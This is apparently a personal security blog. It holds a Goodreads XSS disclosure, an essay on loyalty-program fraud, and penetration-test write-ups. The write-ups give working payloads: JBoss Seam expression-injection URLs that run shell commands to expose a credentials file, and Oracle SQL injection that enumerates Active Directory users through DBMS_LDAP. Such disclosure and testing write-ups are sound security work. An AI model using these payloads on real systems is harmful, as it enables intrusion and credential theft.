Saturday, September 9, 2017

An introduction to HTTP Security Headers

Hello all,

It is being a while since my last post. March this year I had a talk at the Confraria0day conference about HTTP Security Headers. I made the slides available here. I hope it helps and let me know if you want to discuss it.

Monday, December 12, 2016

Cross-site Scripting (XSS) on Goodreads.com

Recently on an independent research I've found the Goodreads API was vulnerable to a Reflected Cross-site scripting.

The issue happens on their REST API on a callback function parameter. No sanitizing mechanism was found and the parameter is echoed back in the JSON payload, allowing a malicious user to
potentially launch XSS attacks.

I've submitted the issue to the Goodreads' security team and this was quickly fixed.
Goodreads is an Amazon company with  55 millions of users. Their site is ranked 139 in the USA and 336 globally, according to Alexa.

Proof Of Concept:




Vulnerable API calls with XSS payload:

https://www.goodreads.com/book/review_counts.json?callback=%3Chtml%3E%3Cbody%20onload=%22javascript:alert(%27XSS%27)%22%3E%3C/html%3E&isbns=0441172717

https://www.goodreads.com/book/isbn/0441172717?callback=%3Chtml%3E%3Cbody%20onload=%22javascript:alert(%27XSS%27)%22%3E%3C/html%3E&format=json

Vulnerability Disclosure Timeline:
2016-11-11: Goodreads notification
2016-11-11: Goodreads feedback
2016-11-15: Goodreads fix/patch
2016-12-12: Public disclosure

Tuesday, November 22, 2016

Hacking chocolates and the security mindset

Who doesn’t like chocolate? I am a big fan of a Brazilian coffee/chocolate chain called Ychocolates (fictitious name). They produce good chocolates and serve good coffee as well. Recently they introduced a simple loyalty program: you buy products there and earn points for each purchase. After certain amount of points, you can redeem them and transform them into a delicious chocolate. It sounds simple and straightforward. To participate in this program the person needs to supply their name, an CPF (Brazilian identification number) and a phone number. 

Every time a person goes into one of their stores and buy something, they should supply their CPF and get the points. Once you inform your CPF the cashier (verbally) will tell you how many points you have earned so far. If you have the minimum amount of points for a reward, you can get a chocolate. I’ve noticed cashiers always inform the accumulated points to the customer. It seems to be part of a procedure. I personally used my points a few times. Basically, I bought a coffee, informed my CPF and the cashier told me I have over 75 points and If I would like to redeem them. 

That’s it. What is the issue here? The issue is cashiers never asked me to prove who I am. I could simple inform my CPF and redeem the points. A not well-intentioned person could simple goes to the store, buys something and stays around the people and the cashier, listening to them talking about CPF and how many points they have. He could take note on the CPF of the person and once he has it in hands, he could return to the store later, buy something (or not), inform this CPF and redeem the points. Done! A new piece of chocolate is available. 



Main intention of this post is not to call your attention to the vulnerabilities/controls found in this scenario but rather than that, the security mindset involved. A security mindset involves looking at the world with a different perspective. It is in a certain way the ability to think maliciously. Think how to cheat a system. Could this skill be taught? How this could be achieved? This skill is important for people who are designing things and of course, for security professionals as well. 
Bruce Schneier wrote an excellent article about it years ago. At the end, this was just another daily security mindset exercise! What vulnerabilities have you found today?

(PS: I've talked to the company and they are making sure controls will be enforced)

Monday, November 14, 2016

Sunday, February 17, 2013

The forgotten JBOSS Admin Console and CVE 2010-1871



Well, we are in 2013 and It’s amazing how many JBOSS administration interfaces (jmx-console, web-console, invokers etc) are still exposed on the internet, however we are not going to talk about it.

A couple of days ago I was performing a penetration testing and I found an environment with JBOSS AS 6. The JMX-Console wasn’t password protected but one console in special attracted my attention: the Admin Console. It seems that this console, I do not know the reason, is kind of forgotten by the security community as an attack vector. The default access credential for this console is admin/admin and it is also built upon a vulnerable version of Seam framework CVE 2010-1871. This console provides a powerful JBOSS administration allowing a user to check the server’s configuration, to deploy and to delete applications, to read datasources etc.



I checked out for the default credential but they were changed. There were other ways to hack this JBOSS but I was quite interested to gain access to such Admin Console. Then I decided to check if the Seam framework was vulnerable and If I could go through this way. There are 2 (two) good posts talking about this particular vulnerability, here and here.

After spending some time thinking about the issue I came out with a solution:

1) First of all, I needed to get some information such as JBOSS directory configuration. I decided to use the JMX-console information using the MBean ServerConfig. There are two important properties: ServerHomeLocation and ServerConfLocation. The first one holds the path where the applications are deployed usually inside the folder “deploy”. The second one points to a directory with some configuration files, including the jmx-console-users.properties. This file stores the credentials to access the Admin Console.


2)  After I harvested the directories information I decide to exploit the vulnerable Seam framework in order to:

a.       Create a folder application inside the directory root:

http://target.com/admin-console/login.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('mkdir /usr/share/jboss-6.0.0.Final/server/default/deploy/teste.war')}

b.      Make a copy of the JBOSS jmx-console-user.properties to the new application folder (teste.war):

http://target.com/admin-console/login.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('cp /usr/share/jboss-6.0.0.Final/server/default/conf/jmx-console-users.properties  
/usr/share/jboss-6.0.0.Final/server/default/deploy/teste.war/teste.txt')}

3) Then I accessed the new application (test) and read the credentials information:

http://target.com/teste/teste.txt


4) Finally I used the credentials to access the Admin Console:

After I obtained access to the Admin Console I uploaded a web shell through the option “Add a new resource” in Web Applications (WAR) menu and the penetration testing continued.



Conclusion:

The Admin Console of JBOSS AS 6 must be always considered in a penetration testing or in a JBOSS hardening guide. It’s also extremely important to update the Seam framework to avoid the exploitation of the vulnerability described in CVE 2010-1871.

Wednesday, January 16, 2013

SQL Injection - enumerating Microsoft AD users using Oracle resources

In my last post I have talked about how to explore SQL injection flaws to perform port scanner when the database is Oracle.
Now I am sharing with you a way to perform brute force attack to enumerate users from Microsoft AD (or other LDAP repository).
Oracle provides a package called DBMS_LDAP since 9i version and this can help us with such task.
It seems that even in Oracle 11g there is no special ACL assigned to such resource. What does it mean?
It means we can use it in our SQL injection attacks with most of the Oracle users.

Let's take a look at a practical example performed on a penetration testing:

http://target/index_target.php?id=15||DBMS_LDAP.simple_bind_s((dbms_ldap.init('targetdomain.com',389)),'admin@targetdomain.com','password')--

In this case, the value of the vulnerable parameter id is concatenated with the result of DBMS_LDAP.simple_bind_s function.

We can manipulate the target domain and its port as well user names and passwords.

If the LDAP session cannot be established, we get this error:

ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. ORA-06512: at "SYS.DBMS_SYS_ERROR", line 79 ORA-06512: at "SYS.DBMS_LDAP", line 50

Probably the target domain could not be reached due wrong host name or port.
How can we discover the LDAP repository? We can use the previous port scanner technique.

On the other hand if we can establish the session and the username informed as a parameter is invalid, we get this message:

ORA-31202: DBMS_LDAP: LDAP client/server error: Invalid credentials. 80090308: LdapErr: DSID-0C090334, comment: AcceptSecurityContext error, data 525, vece ORA-06512: at "SYS.DBMS_SYS_ERROR", line 86 ORA-06512: at "SYS.DBMS_LDAP", line 1455 ORA-06512: at "SYS.DBMS_LDAP", line 79

But if the user name is valid and the password is wrong, we get this:

ORA-31202: DBMS_LDAP: LDAP client/server error: Invalid credentials. 80090308: LdapErr: DSID-0C090334, comment: AcceptSecurityContext error, data 52e, vece ORA-06512: at "SYS.DBMS_SYS_ERROR", line 86 ORA-06512: at "SYS.DBMS_LDAP", line 1455 ORA-06512: at "SYS.DBMS_LDAP", line 7

Don´t the messages look like the same? Yes, they do. But they are different. The difference is found here: data 525 and data 52e. According to some LDAP error code tables (I didn´t find the 525 and 52e errors code inside RFCs), the errors mean "user not found" and "invalid credentials", respectively. Thus using this approach is possible to enumerate valid users in AD or another LDAP repository.

And what does it happen if we provide valid username and password? In my case I´ve gotten the following error:

ORA-31223: DBMS_LDAP: cannot open more than 63 LDAP server connections ORA-06512: at "SYS.DBMS_LDAP_API_FFI", line 25 ORA-06512: at "SYS.DBMS_LDAP", line 48

Investigating the error, it seems the specific database tried to open more connections than it was allowed. It was enough to get a valid user name and password.

Conclusion:

If we consider that is common to find databases deployed inside the internal network, we can combine this technique with the port scanner technique to deliver more targeted attacks. How about an OWA server exposed to the internet? Have fun and be aware of accounts lockout!